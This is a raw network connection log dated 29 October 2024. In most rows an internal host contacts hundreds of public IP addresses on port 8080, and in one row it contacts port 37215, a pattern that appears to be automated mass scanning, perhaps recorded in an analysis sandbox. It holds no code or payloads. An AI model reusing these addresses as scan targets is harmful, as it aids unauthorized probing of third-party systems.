Oct 29, 2024 20:52:38.077306986 CET	56351	8080	192.168.2.13	95.170.133.138
Oct 29, 2024 20:52:38.077306986 CET	8080	56351	62.232.217.218	192.168.2.13
Oct 29, 2024 20:52:38.077311993 CET	8080	56351	62.138.134.166	192.168.2.13
Oct 29, 2024 20:52:38.077313900 CET	56351	8080	192.168.2.13	95.9.206.110
Oct 29, 2024 20:52:38.077316046 CET	56351	8080	192.168.2.13	94.151.220.243
Oct 29, 2024 20:52:38.077316999 CET	56351	8080	192.168.2.13	94.191.202.249
Oct 29, 2024 20:52:38.077318907 CET	56351	8080	192.168.2.13	31.38.37.98
Oct 29, 2024 20:52:38.077333927 CET	8080	56351	62.232.175.55	192.168.2.13
Oct 29, 2024 20:52:38.077337027 CET	56351	8080	192.168.2.13	94.185.199.214
Oct 29, 2024 20:52:38.077347040 CET	56351	8080	192.168.2.13	94.47.57.127
Oct 29, 2024 20:52:38.077348948 CET	8080	56351	94.190.104.103	192.168.2.13
Oct 29, 2024 20:52:38.077356100 CET	56351	8080	192.168.2.13	62.232.217.218
Oct 29, 2024 20:52:38.077363014 CET	56351	8080	192.168.2.13	62.138.134.166
Oct 29, 2024 20:52:38.077368975 CET	56351	8080	192.168.2.13	62.232.175.55
Oct 29, 2024 20:52:38.077370882 CET	8080	56351	95.189.203.46	192.168.2.13
Oct 29, 2024 20:52:38.077375889 CET	8080	56351	94.165.187.166	192.168.2.13
Oct 29, 2024 20:52:38.077383995 CET	8080	56351	94.63.105.126	192.168.2.13
Oct 29, 2024 20:52:38.077384949 CET	8080	56351	62.190.95.132	192.168.2.13
Oct 29, 2024 20:52:38.077389956 CET	56351	8080	192.168.2.13	31.106.228.89
Oct 29, 2024 20:52:38.077394009 CET	56351	8080	192.168.2.13	94.190.104.103
Oct 29, 2024 20:52:38.077397108 CET	56351	8080	192.168.2.13	31.216.56.20
Oct 29, 2024 20:52:38.077399015 CET	8080	56351	85.161.167.26	192.168.2.13
Oct 29, 2024 20:52:38.077400923 CET	56351	8080	192.168.2.13	95.189.203.46
Oct 29, 2024 20:52:38.077404976 CET	8080	56351	62.140.127.22	192.168.2.13
Oct 29, 2024 20:52:38.077409029 CET	56351	8080	192.168.2.13	62.190.95.132
Oct 29, 2024 20:52:38.077409983 CET	56351	8080	192.168.2.13	94.165.187.166
Oct 29, 2024 20:52:38.077409983 CET	8080	56351	95.141.182.136	192.168.2.13
Oct 29, 2024 20:52:38.077415943 CET	8080	56351	62.80.57.238	192.168.2.13
Oct 29, 2024 20:52:38.077426910 CET	8080	56351	31.4.135.49	192.168.2.13
Oct 29, 2024 20:52:38.077431917 CET	56351	8080	192.168.2.13	94.63.105.126
Oct 29, 2024 20:52:38.077431917 CET	8080	56351	94.66.186.202	192.168.2.13
Oct 29, 2024 20:52:38.077436924 CET	8080	56351	95.129.59.5	192.168.2.13
Oct 29, 2024 20:52:38.077440977 CET	56351	8080	192.168.2.13	62.140.127.22
Oct 29, 2024 20:52:38.077441931 CET	8080	56351	31.248.114.142	192.168.2.13
Oct 29, 2024 20:52:38.077441931 CET	56351	8080	192.168.2.13	85.161.167.26
Oct 29, 2024 20:52:38.077447891 CET	8080	56351	85.220.153.1	192.168.2.13
Oct 29, 2024 20:52:38.077457905 CET	56351	8080	192.168.2.13	62.80.57.238
Oct 29, 2024 20:52:38.077459097 CET	8080	56351	31.245.36.218	192.168.2.13
Oct 29, 2024 20:52:38.077460051 CET	56351	8080	192.168.2.13	95.141.182.136
Oct 29, 2024 20:52:38.077466011 CET	8080	56351	85.171.114.6	192.168.2.13
Oct 29, 2024 20:52:38.077469110 CET	56351	8080	192.168.2.13	31.4.135.49
Oct 29, 2024 20:52:38.077471018 CET	56351	8080	192.168.2.13	94.66.186.202
Oct 29, 2024 20:52:38.077482939 CET	56351	8080	192.168.2.13	95.129.59.5
Oct 29, 2024 20:52:38.077485085 CET	8080	56351	31.155.131.187	192.168.2.13
Oct 29, 2024 20:52:38.077487946 CET	56351	8080	192.168.2.13	85.220.153.1
Oct 29, 2024 20:52:38.077492952 CET	56351	8080	192.168.2.13	31.248.114.142
Oct 29, 2024 20:52:38.077497959 CET	56351	8080	192.168.2.13	85.171.114.6
Oct 29, 2024 20:52:38.077501059 CET	8080	56351	94.15.36.84	192.168.2.13
Oct 29, 2024 20:52:38.077507973 CET	56351	8080	192.168.2.13	31.245.36.218
Oct 29, 2024 20:52:38.077508926 CET	8080	56351	62.188.23.6	192.168.2.13
Oct 29, 2024 20:52:38.077516079 CET	8080	56351	31.218.110.189	192.168.2.13
Oct 29, 2024 20:52:38.077517033 CET	56351	8080	192.168.2.13	31.155.131.187
Oct 29, 2024 20:52:38.077522993 CET	8080	56351	85.134.96.34	192.168.2.13
Oct 29, 2024 20:52:38.077533960 CET	8080	56351	85.235.85.246	192.168.2.13
Oct 29, 2024 20:52:38.077538013 CET	8080	56351	94.18.47.23	192.168.2.13
Oct 29, 2024 20:52:38.077541113 CET	56351	8080	192.168.2.13	62.188.23.6
Oct 29, 2024 20:52:38.077548027 CET	56351	8080	192.168.2.13	94.15.36.84
Oct 29, 2024 20:52:38.077550888 CET	8080	56351	95.26.223.34	192.168.2.13
Oct 29, 2024 20:52:38.077558041 CET	8080	56351	62.103.252.155	192.168.2.13
Oct 29, 2024 20:52:38.077558041 CET	56351	8080	192.168.2.13	31.218.110.189
Oct 29, 2024 20:52:38.077559948 CET	8080	56351	95.16.124.136	192.168.2.13
Oct 29, 2024 20:52:38.077560902 CET	56351	8080	192.168.2.13	85.134.96.34
Oct 29, 2024 20:52:38.077569962 CET	56351	8080	192.168.2.13	85.235.85.246
Oct 29, 2024 20:52:38.077574015 CET	56351	8080	192.168.2.13	94.18.47.23
Oct 29, 2024 20:52:38.077588081 CET	56351	8080	192.168.2.13	62.103.252.155
Oct 29, 2024 20:52:38.077589035 CET	56351	8080	192.168.2.13	31.163.174.67
Oct 29, 2024 20:52:38.077591896 CET	56351	8080	192.168.2.13	95.26.223.34
Oct 29, 2024 20:52:38.077591896 CET	56351	8080	192.168.2.13	95.16.124.136
Oct 29, 2024 20:52:38.077605009 CET	8080	56351	62.70.56.216	192.168.2.13
Oct 29, 2024 20:52:38.077610970 CET	8080	56351	94.146.81.137	192.168.2.13
Oct 29, 2024 20:52:38.077637911 CET	56351	8080	192.168.2.13	31.172.235.100
Oct 29, 2024 20:52:38.077642918 CET	56351	8080	192.168.2.13	94.237.161.87
Oct 29, 2024 20:52:38.077645063 CET	56351	8080	192.168.2.13	62.70.56.216
Oct 29, 2024 20:52:38.077663898 CET	56351	8080	192.168.2.13	94.146.81.137
Oct 29, 2024 20:52:38.077693939 CET	56351	8080	192.168.2.13	95.0.45.23
Oct 29, 2024 20:52:38.077696085 CET	56351	8080	192.168.2.13	85.86.14.3
Oct 29, 2024 20:52:38.077716112 CET	56351	8080	192.168.2.13	95.124.195.105
Oct 29, 2024 20:52:38.077727079 CET	56351	8080	192.168.2.13	62.25.51.180
Oct 29, 2024 20:52:38.077749014 CET	56351	8080	192.168.2.13	95.195.104.169
Oct 29, 2024 20:52:38.077754974 CET	56351	8080	192.168.2.13	95.184.150.81
Oct 29, 2024 20:52:38.077764988 CET	56351	8080	192.168.2.13	85.114.183.79
Oct 29, 2024 20:52:38.077770948 CET	8080	56351	62.53.113.131	192.168.2.13
Oct 29, 2024 20:52:38.077773094 CET	56351	8080	192.168.2.13	62.121.255.155
Oct 29, 2024 20:52:38.077780008 CET	8080	56351	85.205.226.48	192.168.2.13
Oct 29, 2024 20:52:38.077781916 CET	56351	8080	192.168.2.13	95.76.128.207
Oct 29, 2024 20:52:38.077783108 CET	56351	8080	192.168.2.13	85.200.227.221
Oct 29, 2024 20:52:38.077800035 CET	56351	8080	192.168.2.13	85.203.205.170
Oct 29, 2024 20:52:38.077811956 CET	56351	8080	192.168.2.13	62.53.113.131
Oct 29, 2024 20:52:38.077814102 CET	56351	8080	192.168.2.13	85.205.226.48
Oct 29, 2024 20:52:38.077822924 CET	56351	8080	192.168.2.13	31.26.160.208
Oct 29, 2024 20:52:38.077860117 CET	56351	8080	192.168.2.13	31.236.183.63
Oct 29, 2024 20:52:38.077861071 CET	56351	8080	192.168.2.13	94.201.195.74
Oct 29, 2024 20:52:38.077874899 CET	56351	8080	192.168.2.13	95.85.183.48
Oct 29, 2024 20:52:38.077876091 CET	56351	8080	192.168.2.13	85.17.12.20
Oct 29, 2024 20:52:38.077892065 CET	56351	8080	192.168.2.13	94.217.101.173
Oct 29, 2024 20:52:38.077900887 CET	56351	8080	192.168.2.13	31.121.145.253
Oct 29, 2024 20:52:38.077919006 CET	8080	56351	94.39.247.64	192.168.2.13
Oct 29, 2024 20:52:38.077925920 CET	8080	56351	95.20.194.119	192.168.2.13
Oct 29, 2024 20:52:38.077936888 CET	8080	56351	95.139.198.92	192.168.2.13
Oct 29, 2024 20:52:38.077944994 CET	8080	56351	85.60.149.239	192.168.2.13
Oct 29, 2024 20:52:38.077956915 CET	8080	56351	62.146.249.160	192.168.2.13
Oct 29, 2024 20:52:38.077964067 CET	8080	56351	85.143.22.225	192.168.2.13
Oct 29, 2024 20:52:38.077965975 CET	56351	8080	192.168.2.13	94.39.247.64
Oct 29, 2024 20:52:38.077967882 CET	56351	8080	192.168.2.13	95.20.194.119
Oct 29, 2024 20:52:38.077977896 CET	56351	8080	192.168.2.13	95.139.198.92
Oct 29, 2024 20:52:38.077980995 CET	8080	56351	62.95.156.49	192.168.2.13
Oct 29, 2024 20:52:38.077986956 CET	56351	8080	192.168.2.13	85.60.149.239
Oct 29, 2024 20:52:38.077986956 CET	8080	56351	85.36.221.199	192.168.2.13
Oct 29, 2024 20:52:38.077992916 CET	8080	56351	95.143.53.17	192.168.2.13
Oct 29, 2024 20:52:38.077995062 CET	56351	8080	192.168.2.13	62.146.249.160
Oct 29, 2024 20:52:38.077999115 CET	8080	56351	95.75.26.133	192.168.2.13
Oct 29, 2024 20:52:38.078002930 CET	56351	8080	192.168.2.13	85.143.22.225
Oct 29, 2024 20:52:38.078003883 CET	8080	56351	95.227.36.74	192.168.2.13
Oct 29, 2024 20:52:38.078015089 CET	8080	56351	94.128.197.212	192.168.2.13
Oct 29, 2024 20:52:38.078020096 CET	8080	56351	94.100.70.59	192.168.2.13
Oct 29, 2024 20:52:38.078021049 CET	56351	8080	192.168.2.13	62.95.156.49
Oct 29, 2024 20:52:38.078026056 CET	56351	8080	192.168.2.13	95.227.36.74
Oct 29, 2024 20:52:38.078030109 CET	56351	8080	192.168.2.13	85.36.221.199
Oct 29, 2024 20:52:38.078032017 CET	56351	8080	192.168.2.13	95.143.53.17
Oct 29, 2024 20:52:38.078037024 CET	8080	56351	62.213.87.217	192.168.2.13
Oct 29, 2024 20:52:38.078042030 CET	56351	8080	192.168.2.13	95.75.26.133
Oct 29, 2024 20:52:38.078044891 CET	8080	56351	85.253.49.155	192.168.2.13
Oct 29, 2024 20:52:38.078047991 CET	56351	8080	192.168.2.13	94.128.197.212
Oct 29, 2024 20:52:38.078057051 CET	8080	56351	85.215.188.36	192.168.2.13
Oct 29, 2024 20:52:38.078063011 CET	8080	56351	62.83.138.249	192.168.2.13
Oct 29, 2024 20:52:38.078063011 CET	56351	8080	192.168.2.13	85.249.148.1
Oct 29, 2024 20:52:38.078074932 CET	56351	8080	192.168.2.13	31.61.131.142
Oct 29, 2024 20:52:38.078077078 CET	56351	8080	192.168.2.13	62.213.87.217
Oct 29, 2024 20:52:38.078088999 CET	56351	8080	192.168.2.13	85.215.188.36
Oct 29, 2024 20:52:38.078099966 CET	56351	8080	192.168.2.13	62.83.138.249
Oct 29, 2024 20:52:38.078115940 CET	56351	8080	192.168.2.13	94.34.235.227
Oct 29, 2024 20:52:38.078136921 CET	8080	56351	94.141.209.110	192.168.2.13
Oct 29, 2024 20:52:38.078142881 CET	8080	56351	62.174.81.120	192.168.2.13
Oct 29, 2024 20:52:38.078145981 CET	56351	8080	192.168.2.13	62.91.48.8
Oct 29, 2024 20:52:38.078145981 CET	56351	8080	192.168.2.13	31.166.156.67
Oct 29, 2024 20:52:38.078150988 CET	56351	8080	192.168.2.13	62.144.204.36
Oct 29, 2024 20:52:38.078152895 CET	8080	56351	94.223.204.49	192.168.2.13
Oct 29, 2024 20:52:38.078161001 CET	56351	8080	192.168.2.13	95.51.98.164
Oct 29, 2024 20:52:38.078169107 CET	56351	8080	192.168.2.13	94.141.209.110
Oct 29, 2024 20:52:38.078170061 CET	56351	8080	192.168.2.13	94.100.70.59
Oct 29, 2024 20:52:38.078170061 CET	56351	8080	192.168.2.13	85.253.49.155
Oct 29, 2024 20:52:38.078178883 CET	56351	8080	192.168.2.13	62.174.81.120
Oct 29, 2024 20:52:38.078200102 CET	56351	8080	192.168.2.13	94.223.204.49
Oct 29, 2024 20:52:38.078206062 CET	56351	8080	192.168.2.13	95.107.128.18
Oct 29, 2024 20:52:38.078218937 CET	56351	8080	192.168.2.13	95.3.119.207
Oct 29, 2024 20:52:38.078233004 CET	56351	8080	192.168.2.13	95.133.139.0
Oct 29, 2024 20:52:38.078233004 CET	56351	8080	192.168.2.13	94.95.91.71
Oct 29, 2024 20:52:38.078247070 CET	56351	8080	192.168.2.13	62.244.90.76
Oct 29, 2024 20:52:38.078274965 CET	56351	8080	192.168.2.13	94.161.38.210
Oct 29, 2024 20:52:38.078283072 CET	8080	56351	31.139.78.70	192.168.2.13
Oct 29, 2024 20:52:38.078290939 CET	8080	56351	62.175.16.98	192.168.2.13
Oct 29, 2024 20:52:38.078293085 CET	8080	56351	31.149.184.155	192.168.2.13
Oct 29, 2024 20:52:38.078304052 CET	8080	56351	94.153.151.195	192.168.2.13
Oct 29, 2024 20:52:38.078310013 CET	56351	8080	192.168.2.13	31.201.194.56
Oct 29, 2024 20:52:38.078310966 CET	56351	8080	192.168.2.13	95.126.33.37
Oct 29, 2024 20:52:38.078313112 CET	8080	56351	62.158.96.242	192.168.2.13
Oct 29, 2024 20:52:38.078315020 CET	56351	8080	192.168.2.13	62.101.43.6
Oct 29, 2024 20:52:38.078327894 CET	56351	8080	192.168.2.13	31.139.78.70
Oct 29, 2024 20:52:38.078332901 CET	56351	8080	192.168.2.13	31.149.184.155
Oct 29, 2024 20:52:38.078345060 CET	56351	8080	192.168.2.13	94.153.151.195
Oct 29, 2024 20:52:38.078356028 CET	56351	8080	192.168.2.13	62.175.16.98
Oct 29, 2024 20:52:38.078356028 CET	56351	8080	192.168.2.13	62.158.96.242
Oct 29, 2024 20:52:38.078393936 CET	56351	8080	192.168.2.13	95.160.7.179
Oct 29, 2024 20:52:38.078437090 CET	56351	8080	192.168.2.13	94.104.189.58
Oct 29, 2024 20:52:38.078449011 CET	8080	56351	85.153.175.69	192.168.2.13
Oct 29, 2024 20:52:38.078457117 CET	56351	8080	192.168.2.13	94.3.30.188
Oct 29, 2024 20:52:38.078459978 CET	56351	8080	192.168.2.13	95.150.93.105
Oct 29, 2024 20:52:38.078459978 CET	56351	8080	192.168.2.13	94.71.38.175
Oct 29, 2024 20:52:38.078474998 CET	56351	8080	192.168.2.13	85.74.223.160
Oct 29, 2024 20:52:38.078509092 CET	56351	8080	192.168.2.13	85.153.175.69
Oct 29, 2024 20:52:38.078522921 CET	59904	37215	192.168.2.13	197.50.181.193
Oct 29, 2024 20:52:38.078535080 CET	56351	8080	192.168.2.13	62.66.199.125
Oct 29, 2024 20:52:38.078548908 CET	56351	8080	192.168.2.13	62.32.202.69
Oct 29, 2024 20:52:38.078572035 CET	56351	8080	192.168.2.13	95.160.100.206
Oct 29, 2024 20:52:38.078581095 CET	56351	8080	192.168.2.13	94.199.176.47
Oct 29, 2024 20:52:38.078609943 CET	56351	8080	192.168.2.13	85.3.0.250
Oct 29, 2024 20:52:38.078623056 CET	56351	8080	192.168.2.13	85.246.249.185
Oct 29, 2024 20:52:38.078624010 CET	56351	8080	192.168.2.13	95.18.151.48
Oct 29, 2024 20:52:38.078639984 CET	56351	8080	192.168.2.13	62.215.28.44
Oct 29, 2024 20:52:38.078655958 CET	56351	8080	192.168.2.13	94.252.151.197
Oct 29, 2024 20:52:38.078663111 CET	56351	8080	192.168.2.13	94.185.203.3
Oct 29, 2024 20:52:38.078663111 CET	56351	8080	192.168.2.13	95.126.26.211
Oct 29, 2024 20:52:38.078680992 CET	56351	8080	192.168.2.13	95.242.193.98
Oct 29, 2024 20:52:38.078708887 CET	56351	8080	192.168.2.13	94.159.209.149
Oct 29, 2024 20:52:38.078711033 CET	56351	8080	192.168.2.13	62.2.145.170
Oct 29, 2024 20:52:38.078730106 CET	56351	8080	192.168.2.13	94.101.244.12
Oct 29, 2024 20:52:38.078744888 CET	56351	8080	192.168.2.13	85.18.138.17
Oct 29, 2024 20:52:38.078759909 CET	56351	8080	192.168.2.13	94.210.109.67
Oct 29, 2024 20:52:38.078763962 CET	56351	8080	192.168.2.13	31.103.228.26
Oct 29, 2024 20:52:38.078774929 CET	56351	8080	192.168.2.13	85.26.76.203
Oct 29, 2024 20:52:38.078800917 CET	56351	8080	192.168.2.13	31.137.252.25
Oct 29, 2024 20:52:38.078805923 CET	56351	8080	192.168.2.13	62.131.43.38
Oct 29, 2024 20:52:38.078820944 CET	56351	8080	192.168.2.13	95.112.196.132
Oct 29, 2024 20:52:38.078823090 CET	56351	8080	192.168.2.13	62.217.69.119
Oct 29, 2024 20:52:38.078824043 CET	56351	8080	192.168.2.13	62.7.51.23
Oct 29, 2024 20:52:38.078824997 CET	56351	8080	192.168.2.13	94.39.104.166
Oct 29, 2024 20:52:38.078835011 CET	56351	8080	192.168.2.13	94.51.149.178
Oct 29, 2024 20:52:38.078869104 CET	56351	8080	192.168.2.13	94.174.180.35
Oct 29, 2024 20:52:38.078870058 CET	56351	8080	192.168.2.13	62.160.76.56
Oct 29, 2024 20:52:38.078870058 CET	56351	8080	192.168.2.13	94.89.81.191
Oct 29, 2024 20:52:38.078880072 CET	56351	8080	192.168.2.13	95.54.117.207
Oct 29, 2024 20:52:38.078897953 CET	56351	8080	192.168.2.13	31.219.115.221
Oct 29, 2024 20:52:38.078900099 CET	56351	8080	192.168.2.13	31.22.119.73
Oct 29, 2024 20:52:38.078902960 CET	56351	8080	192.168.2.13	62.62.77.64
Oct 29, 2024 20:52:38.078916073 CET	56351	8080	192.168.2.13	62.30.15.58
Oct 29, 2024 20:52:38.078917980 CET	56351	8080	192.168.2.13	85.117.239.161
Oct 29, 2024 20:52:38.078933001 CET	56351	8080	192.168.2.13	62.47.248.163
Oct 29, 2024 20:52:38.078941107 CET	56351	8080	192.168.2.13	94.77.209.200
Oct 29, 2024 20:52:38.078943968 CET	8080	56351	31.202.213.47	192.168.2.13
Oct 29, 2024 20:52:38.078948975 CET	8080	56351	95.67.66.120	192.168.2.13
Oct 29, 2024 20:52:38.078949928 CET	56351	8080	192.168.2.13	85.105.232.65
Oct 29, 2024 20:52:38.078959942 CET	8080	56351	31.145.15.244	192.168.2.13
Oct 29, 2024 20:52:38.078963041 CET	56351	8080	192.168.2.13	31.180.199.109
Oct 29, 2024 20:52:38.078965902 CET	8080	56351	95.136.253.42	192.168.2.13
Oct 29, 2024 20:52:38.078974962 CET	56351	8080	192.168.2.13	31.249.72.58
Oct 29, 2024 20:52:38.078983068 CET	56351	8080	192.168.2.13	31.202.213.47
Oct 29, 2024 20:52:38.078984022 CET	56351	8080	192.168.2.13	85.28.35.140
Oct 29, 2024 20:52:38.078999996 CET	56351	8080	192.168.2.13	95.67.66.120
Oct 29, 2024 20:52:38.079009056 CET	56351	8080	192.168.2.13	94.182.166.128
Oct 29, 2024 20:52:38.079009056 CET	56351	8080	192.168.2.13	31.181.39.199
Oct 29, 2024 20:52:38.079005957 CET	56351	8080	192.168.2.13	31.145.15.244
Oct 29, 2024 20:52:38.079006910 CET	56351	8080	192.168.2.13	95.133.62.92
Oct 29, 2024 20:52:38.079006910 CET	56351	8080	192.168.2.13	95.136.253.42
Oct 29, 2024 20:52:38.079041004 CET	56351	8080	192.168.2.13	95.44.54.146
Oct 29, 2024 20:52:38.079051018 CET	56351	8080	192.168.2.13	95.216.165.184
Oct 29, 2024 20:52:38.079051018 CET	56351	8080	192.168.2.13	31.26.15.242
Oct 29, 2024 20:52:38.079061031 CET	56351	8080	192.168.2.13	94.106.128.151
Oct 29, 2024 20:52:38.079061031 CET	56351	8080	192.168.2.13	94.164.157.230
Oct 29, 2024 20:52:38.079065084 CET	8080	56351	85.215.104.130	192.168.2.13
Oct 29, 2024 20:52:38.079075098 CET	56351	8080	192.168.2.13	94.21.132.211
Oct 29, 2024 20:52:38.079078913 CET	8080	56351	31.133.255.168	192.168.2.13
Oct 29, 2024 20:52:38.079081059 CET	56351	8080	192.168.2.13	95.243.131.67
Oct 29, 2024 20:52:38.079092979 CET	8080	56351	85.143.242.12	192.168.2.13
Oct 29, 2024 20:52:38.079099894 CET	8080	56351	62.31.41.94	192.168.2.13
Oct 29, 2024 20:52:38.079104900 CET	8080	56351	94.114.188.196	192.168.2.13
Oct 29, 2024 20:52:38.079108000 CET	56351	8080	192.168.2.13	85.205.223.63
Oct 29, 2024 20:52:38.079111099 CET	8080	56351	31.232.21.139	192.168.2.13
Oct 29, 2024 20:52:38.079116106 CET	56351	8080	192.168.2.13	85.215.104.130
Oct 29, 2024 20:52:38.079124928 CET	8080	56351	31.140.232.227	192.168.2.13
Oct 29, 2024 20:52:38.079134941 CET	8080	56351	62.239.13.248	192.168.2.13
Oct 29, 2024 20:52:38.079139948 CET	8080	56351	62.243.76.136	192.168.2.13
Oct 29, 2024 20:52:38.079139948 CET	56351	8080	192.168.2.13	62.31.41.94
Oct 29, 2024 20:52:38.079144001 CET	8080	56351	95.7.39.14	192.168.2.13
Oct 29, 2024 20:52:38.079154968 CET	8080	56351	31.56.28.205	192.168.2.13
Oct 29, 2024 20:52:38.079154015 CET	56351	8080	192.168.2.13	85.143.242.12
Oct 29, 2024 20:52:38.079164028 CET	8080	56351	94.37.35.80	192.168.2.13
Oct 29, 2024 20:52:38.079169035 CET	8080	56351	62.131.179.126	192.168.2.13
Oct 29, 2024 20:52:38.079171896 CET	56351	8080	192.168.2.13	31.140.232.227
Oct 29, 2024 20:52:38.079173088 CET	56351	8080	192.168.2.13	62.239.13.248
Oct 29, 2024 20:52:38.079173088 CET	8080	56351	85.62.188.54	192.168.2.13
Oct 29, 2024 20:52:38.079179049 CET	56351	8080	192.168.2.13	31.232.21.139
Oct 29, 2024 20:52:38.079179049 CET	56351	8080	192.168.2.13	62.243.76.136
Oct 29, 2024 20:52:38.079181910 CET	8080	56351	85.94.186.183	192.168.2.13
Oct 29, 2024 20:52:38.079181910 CET	56351	8080	192.168.2.13	95.7.39.14
Oct 29, 2024 20:52:38.079190969 CET	8080	56351	62.221.54.5	192.168.2.13
Oct 29, 2024 20:52:38.079199076 CET	56351	8080	192.168.2.13	85.62.188.54
Oct 29, 2024 20:52:38.079201937 CET	56351	8080	192.168.2.13	31.56.28.205
Oct 29, 2024 20:52:38.079205036 CET	8080	56351	85.169.21.212	192.168.2.13
Oct 29, 2024 20:52:38.079206944 CET	56351	8080	192.168.2.13	94.37.35.80
Oct 29, 2024 20:52:38.079212904 CET	8080	56351	62.160.112.77	192.168.2.13
Oct 29, 2024 20:52:38.079219103 CET	8080	56351	85.49.128.18	192.168.2.13
Oct 29, 2024 20:52:38.079226971 CET	56351	8080	192.168.2.13	85.94.186.183
Oct 29, 2024 20:52:38.079229116 CET	56351	8080	192.168.2.13	85.169.21.212
Oct 29, 2024 20:52:38.079237938 CET	8080	56351	94.45.127.132	192.168.2.13
Oct 29, 2024 20:52:38.079246998 CET	8080	56351	31.83.57.110	192.168.2.13
Oct 29, 2024 20:52:38.079251051 CET	8080	56351	94.197.155.37	192.168.2.13
Oct 29, 2024 20:52:38.079262972 CET	56351	8080	192.168.2.13	62.160.112.77
Oct 29, 2024 20:52:38.079263926 CET	56351	8080	192.168.2.13	85.201.208.24
Oct 29, 2024 20:52:38.079263926 CET	56351	8080	192.168.2.13	31.178.193.35
Oct 29, 2024 20:52:38.079269886 CET	56351	8080	192.168.2.13	85.49.128.18
Oct 29, 2024 20:52:38.079271078 CET	8080	56351	31.65.129.25	192.168.2.13
Oct 29, 2024 20:52:38.079278946 CET	8080	56351	95.60.14.24	192.168.2.13
Oct 29, 2024 20:52:38.079279900 CET	56351	8080	192.168.2.13	31.115.235.45
Oct 29, 2024 20:52:38.079287052 CET	56351	8080	192.168.2.13	31.83.57.110
Oct 29, 2024 20:52:38.079287052 CET	56351	8080	192.168.2.13	85.208.5.193
Oct 29, 2024 20:52:38.079291105 CET	56351	8080	192.168.2.13	31.72.253.209
Oct 29, 2024 20:52:38.079291105 CET	56351	8080	192.168.2.13	94.45.127.132
Oct 29, 2024 20:52:38.079308987 CET	56351	8080	192.168.2.13	31.65.129.25
Oct 29, 2024 20:52:38.079309940 CET	56351	8080	192.168.2.13	31.133.255.168
Oct 29, 2024 20:52:38.079309940 CET	56351	8080	192.168.2.13	94.114.188.196
Oct 29, 2024 20:52:38.079309940 CET	56351	8080	192.168.2.13	62.131.179.126
Oct 29, 2024 20:52:38.079309940 CET	56351	8080	192.168.2.13	62.221.54.5
Oct 29, 2024 20:52:38.079309940 CET	56351	8080	192.168.2.13	94.197.155.37
Oct 29, 2024 20:52:38.079323053 CET	56351	8080	192.168.2.13	95.60.14.24
Oct 29, 2024 20:52:38.079323053 CET	56351	8080	192.168.2.13	94.203.141.139
Oct 29, 2024 20:52:38.079349995 CET	56351	8080	192.168.2.13	31.36.93.133
Oct 29, 2024 20:52:38.079360962 CET	56351	8080	192.168.2.13	85.168.190.33
Oct 29, 2024 20:52:38.079360962 CET	56351	8080	192.168.2.13	85.50.225.31
Oct 29, 2024 20:52:38.079376936 CET	56351	8080	192.168.2.13	95.241.55.0
Oct 29, 2024 20:52:38.079384089 CET	56351	8080	192.168.2.13	62.230.232.13
Oct 29, 2024 20:52:38.079386950 CET	56351	8080	192.168.2.13	95.242.250.215
Oct 29, 2024 20:52:38.079391956 CET	8080	56351	94.19.33.130	192.168.2.13
Oct 29, 2024 20:52:38.079397917 CET	8080	56351	85.253.24.204	192.168.2.13
Oct 29, 2024 20:52:38.079407930 CET	8080	56351	95.81.135.152	192.168.2.13
Oct 29, 2024 20:52:38.079412937 CET	8080	56351	94.208.100.132	192.168.2.13
Oct 29, 2024 20:52:38.079416990 CET	8080	56351	85.21.79.30	192.168.2.13
Oct 29, 2024 20:52:38.079426050 CET	56351	8080	192.168.2.13	94.240.39.33
Oct 29, 2024 20:52:38.079438925 CET	56351	8080	192.168.2.13	85.253.24.204
Oct 29, 2024 20:52:38.079442024 CET	56351	8080	192.168.2.13	95.131.133.133
Oct 29, 2024 20:52:38.079449892 CET	56351	8080	192.168.2.13	94.208.100.132
Oct 29, 2024 20:52:38.079454899 CET	56351	8080	192.168.2.13	94.19.33.130
Oct 29, 2024 20:52:38.079454899 CET	56351	8080	192.168.2.13	31.46.30.157
Oct 29, 2024 20:52:38.079456091 CET	56351	8080	192.168.2.13	85.21.79.30
Oct 29, 2024 20:52:38.079458952 CET	56351	8080	192.168.2.13	95.81.135.152
Oct 29, 2024 20:52:38.079461098 CET	56351	8080	192.168.2.13	31.209.49.92
Oct 29, 2024 20:52:38.079463005 CET	56351	8080	192.168.2.13	95.72.113.71
Oct 29, 2024 20:52:38.079466105 CET	56351	8080	192.168.2.13	85.168.239.99
Oct 29, 2024 20:52:38.079478025 CET	56351	8080	192.168.2.13	95.113.160.120
Oct 29, 2024 20:52:38.079480886 CET	56351	8080	192.168.2.13	95.78.252.41
Oct 29, 2024 20:52:38.079480886 CET	56351	8080	192.168.2.13	62.84.95.159
Oct 29, 2024 20:52:38.079480886 CET	56351	8080	192.168.2.13	31.194.33.55
Oct 29, 2024 20:52:38.079483032 CET	56351	8080	192.168.2.13	85.50.204.131
Oct 29, 2024 20:52:38.079509974 CET	56351	8080	192.168.2.13	31.117.201.201
Oct 29, 2024 20:52:38.079509974 CET	56351	8080	192.168.2.13	85.1.246.246
Oct 29, 2024 20:52:38.079514027 CET	8080	56351	85.13.171.86	192.168.2.13
Oct 29, 2024 20:52:38.079519987 CET	8080	56351	31.69.135.228	192.168.2.13
Oct 29, 2024 20:52:38.079524994 CET	8080	56351	62.149.159.137	192.168.2.13
Oct 29, 2024 20:52:38.079530001 CET	8080	56351	94.65.14.249	192.168.2.13
Oct 29, 2024 20:52:38.079533100 CET	56351	8080	192.168.2.13	62.46.9.107
Oct 29, 2024 20:52:38.079552889 CET	56351	8080	192.168.2.13	85.13.171.86
Oct 29, 2024 20:52:38.079557896 CET	56351	8080	192.168.2.13	94.65.14.249
Oct 29, 2024 20:52:38.079565048 CET	56351	8080	192.168.2.13	62.149.159.137
Oct 29, 2024 20:52:38.079579115 CET	56351	8080	192.168.2.13	31.199.2.220
Oct 29, 2024 20:52:38.079605103 CET	56351	8080	192.168.2.13	94.72.92.120
Oct 29, 2024 20:52:38.079608917 CET	56351	8080	192.168.2.13	62.13.101.15
Oct 29, 2024 20:52:38.079612017 CET	56351	8080	192.168.2.13	94.71.10.140
Oct 29, 2024 20:52:38.079612017 CET	56351	8080	192.168.2.13	31.69.135.228
Oct 29, 2024 20:52:38.079612017 CET	56351	8080	192.168.2.13	31.183.165.213
Oct 29, 2024 20:52:38.079618931 CET	56351	8080	192.168.2.13	62.164.105.106
Oct 29, 2024 20:52:38.079627037 CET	56351	8080	192.168.2.13	95.81.135.16
Oct 29, 2024 20:52:38.079633951 CET	56351	8080	192.168.2.13	85.253.240.221
Oct 29, 2024 20:52:38.079633951 CET	56351	8080	192.168.2.13	62.9.196.13
Oct 29, 2024 20:52:38.079641104 CET	8080	56351	85.38.146.132	192.168.2.13
